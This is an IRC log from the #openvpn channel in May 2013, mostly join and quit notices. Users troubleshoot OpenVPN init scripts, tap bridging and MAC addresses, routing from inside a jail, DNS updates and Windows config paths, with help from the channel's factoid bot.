11:08 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
11:08 -!- gory [gory@creepy.charun.de] has joined #openvpn
11:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:13 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
11:17 -!- gory [gory@creepy.charun.de] has joined #openvpn
11:21 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
11:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 276 seconds]
11:22 -!- unicorn [~p3rror@41.250.251.159] has joined #openvpn
11:23 -!- gory [gory@creepy.charun.de] has joined #openvpn
11:25 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 245 seconds]
11:27 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
11:28 -!- HaxCore [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
11:29 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:29 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
11:31 -!- unicorn [~p3rror@41.250.251.159] has quit [Ping timeout: 256 seconds]
11:35 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
11:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:54 -!- Sarah [~Sarah@astersoftworks.com] has quit [Changing host]
11:54 -!- Sarah [~Sarah@april-fools/ninth/aster] has joined #openvpn
11:56 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
11:58 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Quit: Leaving]
12:05 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
12:06 -!- gory [gory@creepy.charun.de] has joined #openvpn
12:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:14 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
12:15 -!- gory [gory@creepy.charun.de] has joined #openvpn
12:18 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:29 -!- i7c- is now known as i7c
12:29 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
12:29 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
12:43 -!- superboot [~jackson@unaffiliated/superboot] has joined #openvpn
12:44 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Read error: Connection reset by peer]
12:44 < superboot> Hi all. running openvpn /etc/openvpn/client.conf  results in a successfull connection and setup of the VPN. But when running /etc/init.d/openvpn start, results in falure. Any idea why this would be?
12:46 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
12:48 < rob0> Maybe something in your client.conf is inconsistent with the distro's init script, or there is a bug in the distro's init script? Did you consult the distro's documentation?
12:48 -!- gory [gory@creepy.charun.de] has joined #openvpn
12:53 < superboot> rob0: I'm running xubuntu. they would have documentation specific to openvpn implementation? Where would I look to find that?
12:54 < rob0> I don't know.
12:57 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
13:09 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Quit: Bye.]
13:09 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
13:10 < superboot> rob0: Ok. I did a diff of the /etc/init.d/openvpn script, one from a working system, and one from a broken system. The only differance was a refference to $script security  on line 92. Removing that resulted in a trouble free connection.
13:14 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
13:14 < rob0> cool
13:15 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
13:24 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
13:24 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
13:26 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
13:30 -!- gory [gory@creepy.charun.de] has joined #openvpn
13:31 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 248 seconds]
13:31 < ngharo> !sample
13:31 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
13:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:42 -!- superboot [~jackson@unaffiliated/superboot] has quit [Quit: leaving]
13:42 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
13:43 -!- gory [gory@creepy.charun.de] has joined #openvpn
13:48 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
13:54 -!- gory [gory@creepy.charun.de] has joined #openvpn
14:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:05 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
14:15 -!- Devastator- [~devas@177.18.199.71] has quit [Changing host]
14:15 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
14:15 -!- Devastator- is now known as Devastator
14:18 -!- erry is now known as errietta
14:18 -!- errietta is now known as erry
15:01 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
15:03 -!- t35guy [~Andrew@ip98-161-38-227.om.om.cox.net] has joined #openvpn
15:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:09 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
15:09 -!- gory [gory@creepy.charun.de] has joined #openvpn
15:16 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
15:18 -!- gory [gory@creepy.charun.de] has joined #openvpn
15:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:26 -!- mattock is now known as mattock_afk
15:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:32 -!- mattock_afk is now known as mattock
15:34 -!- trumee [~parul@185.11.39.145] has quit [Ping timeout: 276 seconds]
15:36 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
15:36 -!- trumee [~parul@185.11.39.145] has joined #openvpn
15:39 -!- gory [gory@creepy.charun.de] has joined #openvpn
15:45 -!- jtrucks_ is now known as jtrucks
15:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
15:47 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
15:48 -!- gory [gory@creepy.charun.de] has joined #openvpn
15:55 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
15:58 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
15:59 -!- gory [gory@creepy.charun.de] has joined #openvpn
16:06 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
16:09 -!- gory [gory@creepy.charun.de] has joined #openvpn
16:14 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
16:28 -!- awc737_away is now known as awc737
16:33 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
16:34 -!- gory [gory@creepy.charun.de] has joined #openvpn
16:42 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
16:44 -!- gory [gory@creepy.charun.de] has joined #openvpn
16:45 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 276 seconds]
16:45 -!- Devastator [~devas@177.18.199.71] has joined #openvpn
16:47 -!- MorgyN_ is now known as MorgyN
16:48 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
16:49 -!- Devastator [~devas@177.18.199.71] has quit [Changing host]
16:49 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:54 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:56 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
16:57 -!- gory [gory@creepy.charun.de] has joined #openvpn
17:00 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
17:01 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:02 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
17:02 -!- t35guy [~Andrew@ip98-161-38-227.om.om.cox.net] has quit [Ping timeout: 264 seconds]
17:02 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
17:08 -!- gory [gory@creepy.charun.de] has joined #openvpn
17:14 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
17:30 -!- TommyC [~TommyC@unaffiliated/sepulchralbloom] has joined #openvpn
17:33 -!- TommyC [~TommyC@unaffiliated/sepulchralbloom] has left #openvpn []
17:36 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
17:36 -!- gory [gory@creepy.charun.de] has joined #openvpn
17:39 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
17:58 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
18:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 247 seconds]
18:09 -!- gory [gory@creepy.charun.de] has joined #openvpn
18:16 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
18:21 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
18:24 -!- gory [gory@creepy.charun.de] has joined #openvpn
18:29 -!- kisom_ is now known as kisom
18:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
18:31 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
18:37 -!- gory [gory@creepy.charun.de] has joined #openvpn
18:42 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
18:43 -!- gory [gory@creepy.charun.de] has joined #openvpn
18:48 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
18:50 -!- gory [gory@creepy.charun.de] has joined #openvpn
19:02 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:03 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
19:04 -!- gory [gory@creepy.charun.de] has joined #openvpn
19:07 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:26 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
19:33 < Rallias> Is there any way to make my tun0's MAC stay the same across multiple connect/disconnect cycles?
19:33 < Rallias> s/tun/tap/
19:35 -!- gory [gory@creepy.charun.de] has joined #openvpn
19:45 -!- raidz is now known as raidz_away
19:49 -!- EugeneKay [eugene@clockworkmod.org] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:49 -!- EugeneKay [eugene@rfc2324.net] has joined #openvpn
19:50  * EugeneKay shows off his new hostmask
19:54 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
19:55 -!- gory [gory@creepy.charun.de] has joined #openvpn
19:57 -!- gory [gory@creepy.charun.de] has left #openvpn []
19:59 -!- neytiri [~neytiri@2001:470:860d:127::219] has joined #openvpn
19:59 < neytiri> hi how do i set up a client connection to a server runnign peer to peer mode
20:00 < rob0> EugeneKay, HTCPCP
20:00 < EugeneKay> Indeed.
20:01 < neytiri> the server is running on a pfsnse box
20:03 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 248 seconds]
20:07 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Operation timed out]
20:08 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
20:09 -!- neytiri [~neytiri@2001:470:860d:127::219] has quit [Ping timeout: 264 seconds]
20:22 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
20:36 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 246 seconds]
20:39 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
20:49 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:49 < pppingme> Rallias what OS
20:50 < Rallias> pppingme, Linux is primary, windows is used by some clients.
20:51 < pppingme> Rallias on the linux clients you might be able to set it in the ifcfg file for that interface (if it exists), use MACADDR=...  not HWADDR=...
20:51 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:51 < rob0> tun0 does not have a MAC. A tun is layer 3, not layer 2.
20:52 < Rallias> rob0, I know, I corrected myself.
20:52 < rob0> oh, I see, you did.
20:52 < pppingme> rob0 yeah, that was my first though too, I was like huh?
20:52 < rob0> Why are you using tap?
20:53 < Rallias> rob0, PXEBoot.
20:54 < rob0> pixie dust!
20:54 < Rallias> pppingme, The issue is, not all my clients are using RHEL and/or it's derivitives.
20:54 < Rallias> rob0, You know, I was contemplating using that response for half a minnute?
20:54 < rob0> haha
20:55 < pppingme> wait, by the time openvpn comes up, you're WAY PAST anything pxeboot can do????
20:55 < Rallias> I'm using a centrally-managed DHCPd.
20:56 < pppingme> ok??  so??  you're still way past that point..  any pxeboot would happen before openvpn came up
20:57 < Rallias> I'm bridging a bunch of home networks.
20:57 < Rallias> It's... a long story.
20:58 < pppingme> then in that case, the issue is still the physical mac on the hardware, the mac of the bridge doesn't matter..
20:59 < Rallias> The problem is, I don't want my DHCPd sending pixie dust to machines it shouldn't.
20:59 < Rallias> My goal is to keep the mac's consistent across the board so I can limit it giving dhcp responses to certain mac's.
20:59 < pppingme> ok, I get that, but forcing the mac on the bridge machine isn't going to help you
21:00 < pppingme> because the dhcp request doesn't come from the bridge, it comes from the machine attatched to the bridge, which has a hard coded mac..
21:00 < Rallias> But the br0 device will source a DHCP request of itself.
21:01 < pppingme> then all your machines would end up with the same ip..
21:01 < pppingme> think about it..
21:01 < Rallias> I can set a different mac address. I just need to know the mac addresses of which machines.
21:04 -!- master_o1_master [~master_of@p4FF244CC.dip0.t-ipconnect.de] has joined #openvpn
21:04 < pppingme> however you're doing it, setting the mac of the bridge won't accomplish your goal
21:05 < pppingme> and as a side issue, its WAY BETTER to router (tun) than to bridge (tap), bridging like that is just messy
21:07 -!- master_of_master [~master_of@p4FF242E8.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
21:07 < Rallias> That's what I've been told.
21:08 < Rallias> It's just MUCH EASIER to get tap to work.
21:08 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
21:09 < pppingme> no its not
21:15 < Rallias> The _only_ time I've ever gotten routed IP's to work is with OpenVZ... that's because openvz does it kernelend.
21:16 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 246 seconds]
21:16 < pppingme> Rallias that statement shows a lack of understanding of routing
21:17 < Rallias> And I'm fine with that.
21:18 < pppingme> which is why you are running horribly inefficient networks
21:18 < pppingme> and a lack of understanding of even basics like how dhcp works
21:18 < pppingme> take time to learn it the right way instead of piling kludge on top of kludge on top of kludge..
21:20 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:26 < Rallias> I'm sorry. I use stuff that works.
21:27 < Rallias> Everything I am responsible for, except for my home router (which manages itself), runs layer 2.
21:32 < pppingme> running layer2 across different locations is sloppy and lazy, no real network admin would do it
21:32 < pppingme> not to mention the wasted traffic, especially if its windows hosts
21:35 < Rallias> If no real network admin would do it, why is ethernet transit a thing?
21:38 -!- datruth [~datruth@unaffiliated/datruth] has joined #openvpn
21:39 < datruth> I'm having issues with connectivity with a openvpn in side a jail I am able to connect to the vpn server but when connected I am unable to surf any websites
21:40 < datruth> how can I determine what the problem is? I've eliminated the firewall already.
21:40 < Rallias> datruth, Are you using NAT?
21:40 < datruth> Yes
21:40 < datruth> the jail is behind a 10.x ip so is the the openvpn addressing
21:40 < Rallias> Is your default gateway set?
21:41 < datruth> on the client or server?
21:41 < Rallias> client
21:42 < datruth> Yesyes
21:42 < datruth> in the client config I am redirecting the gateway
21:43 < datruth> when doing that it seems to set a 192.168. ip has my default gw but I dont have that address configured any where
21:45 < pppingme> Rallias between sites, ethernet transit can still be used for routing
21:46 -!- Rallias [~rallias@unaffiliated/gasseus] has left #openvpn ["Leaving"]
22:13 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:15 -!- tyteen4a- is now known as tyteen4a03
22:15 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
22:22 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
22:31 -!- Netsplit *.net <-> *.split quits: Masxmasx{AFK}
22:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
22:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:51 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
22:51 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
22:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 260 seconds]
22:54 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
22:59 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
23:05 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
23:11 -!- datruth [~datruth@unaffiliated/datruth] has quit [Ping timeout: 246 seconds]
23:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
--- Day changed Wed May 15 2013
00:00 -!- Netsplit *.net <-> *.split quits: nutron, JackSparrow, djjunde, rkantos_, WOOOP, david__, @plaisthos, c|oneman, tarrant2, @vpnHelper,  (+9 more, use /NETSPLIT to show all of them)
00:03 -!- datruth [~datruth@unaffiliated/datruth] has joined #openvpn
00:03 -!- Netsplit over, joins: MeanderingCode, @vpnHelper, riddle, @plaisthos, c|oneman, trumee, nutron, lbft, WOOOP, JackSparrow (+9 more)
00:05 < datruth> I have a OpenVPN server inside of a jail. The jail is on a 10.2.x.x IP and the openvpn ip-range is 10.5.x.x. I have other servers on the 10.2.x.x subnet such as my DNS servers. When I connect to my openvpn server I can ping the dns server ip (10.2.x.x) but I am unable to ping other 10.2.x.x addresses
00:05 < datruth> What is causing this?
00:07 < datruth> !route
00:07 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
00:07 <@vpnHelper> behind the server or client
00:07 < datruth> !iroute
00:07 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
00:08 < datruth> !tcpip
00:08 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
00:14 < datruth> !serverlan
00:14 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
00:14 < datruth> !clientlan
00:14 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
00:14 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
00:14 < datruth> !route_outside_openvpn
00:14 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
00:39 -!- pulz_ [geir@winning.no] has quit [Quit: .......]
00:52 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
00:58 < pppingme> datruth you need to add a route to whatever the default router is for the .2 subnet to point back to the .5 subnet
01:07 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
01:09 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 276 seconds]
01:26 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
01:48 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
02:02 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
02:14 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:14 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
02:19 -!- p3rror [~p3rror@41.250.251.159] has joined #openvpn
02:19 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
02:22 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:34 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
02:39 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
02:57 -!- p3rror [~p3rror@41.250.251.159] has quit [Quit: Leaving]
03:02 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
03:03 < Slippern> how can i get openvpn to update the dns server?, bind dns
03:04 -!- cnf [V5zEUTcqob@unaffiliated/cnf] has quit [Quit: Later...]
03:04 < EugeneKay> !up
03:04 < EugeneKay> !script
03:04 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
03:05 < EugeneKay> Slippern - you can use the --up script point; a better answer is "why do you want to update DNS?" and "just use static addressing on your vpn"
03:18 -!- NChief_ [~nchief@unaffiliated/nchief] has quit [Ping timeout: 245 seconds]
03:20 -!- deever_ is now known as deever
03:25 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:30 -!- p3rror [~p3rror@41.250.251.159] has joined #openvpn
03:37 -!- unicorn [~p3rror@41.249.253.52] has joined #openvpn
03:42 -!- p3rror [~p3rror@41.250.251.159] has quit [Ping timeout: 276 seconds]
03:52 -!- Masxmasx{AFK} is now known as Masxmasx
03:52 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
03:52 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
03:57 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:03 -!- cnfer [Br4FuwhrHE@unaffiliated/cnf] has joined #openvpn
04:03 -!- cnfer is now known as cnf
04:17 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:19 -!- AndChat|698676 [~AndChat69@46.115.71.48] has joined #openvpn
04:20 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: No route to host]
04:20 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
04:22 -!- andreasw [~smuxi@193.188.248.3] has joined #openvpn
04:23 -!- AndChat-698676 [~AndChat69@46.115.39.83] has joined #openvpn
04:23 < andreasw> Hello
04:23 < andreasw> I have a question regarding openvpn Access Server. Anyone has experience mirroring config to a hot standby? Cant use the multicast because Amazon Ec2 doesn't support it.
04:24 -!- AndChat|698676 [~AndChat69@46.115.71.48] has quit [Ping timeout: 264 seconds]
04:25 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 260 seconds]
04:26 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
04:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-czqfiwsrinfcbrow] has quit [Read error: Operation timed out]
04:29 -!- AndChat-698676 [~AndChat69@46.115.39.83] has quit [Ping timeout: 256 seconds]
04:32 -!- jzaw_ is now known as jzaw
04:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:56 -!- Scapal [~Scapal@194.78.52.225] has joined #openvpn
05:00 -!- andreasw [~smuxi@193.188.248.3] has quit [Remote host closed the connection]
05:07 -!- kyrix [~ashley@195.184.82.195] has joined #openvpn
05:23 -!- Scapal [~Scapal@194.78.52.225] has quit [Ping timeout: 252 seconds]
05:26 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:37 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:40 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
05:41 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
05:51 < Slippern> EugeneKay: got it to work without scripts :)
06:01 -!- mattock is now known as mattock_afk
06:07 -!- kyrix [~ashley@195.184.82.195] has quit [Ping timeout: 245 seconds]
06:08 -!- mattock_afk is now known as mattock
06:09 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
06:15 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:19 -!- xTz [~xTz@64.49.246.131] has joined #openvpn
06:20 -!- zcul [~smuxi@90-230-217-87-no135.tbcn.telia.com] has joined #openvpn
06:21 -!- zcul is now known as andreasw
06:21 < andreasw> !goal
06:21 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:22 < andreasw> goal i want a solid failover solution between two availability zones with one Ec2 instances of openvpn server in each
06:22 < andreasw> !goal i want a solid failover solution between two availability zones with one Ec2 instances of openvpn server in each
06:22 < andreasw> bleh
06:43 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
06:43 < julius_> hi
06:44 < julius_> im trying to run openvpn from the windows cmd.exe prompt. i dont get a error why my connection via the gui fails so i tried the command line version. i cant figure out how to pass the config file to openvpn.exe.   openvpn.exe --config c:\programm...\windows.ovpn           or      --config ../config/windows.ovpn  dont work. i always get some information about backspace usage
06:44 < julius_> any ideas?
06:45 < julius_> ah crap
06:46 < julius_> the error was talking about pathnames in my config file, now it works. thx
06:50 -!- julius_ [~14354s@141.41.92.122] has quit [Quit: Verlassend]
07:02 -!- bdeferme [~bdeferme@ovh.ctrl86.com] has joined #openvpn
07:02 < bdeferme> !welcome
07:02 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:02 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:03 < bdeferme> !ask
07:03 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
07:04 < bdeferme> !goal
07:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:04 -!- bdeferme [~bdeferme@ovh.ctrl86.com] has left #openvpn []
07:06 -!- AndChat|698676 [~AndChat69@46.115.70.205] has joined #openvpn
07:07 -!- datruth [~datruth@unaffiliated/datruth] has quit [Quit: Lost terminal]
07:08 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
07:09 -!- Khas [~quassel@149.255.99.55] has joined #openvpn
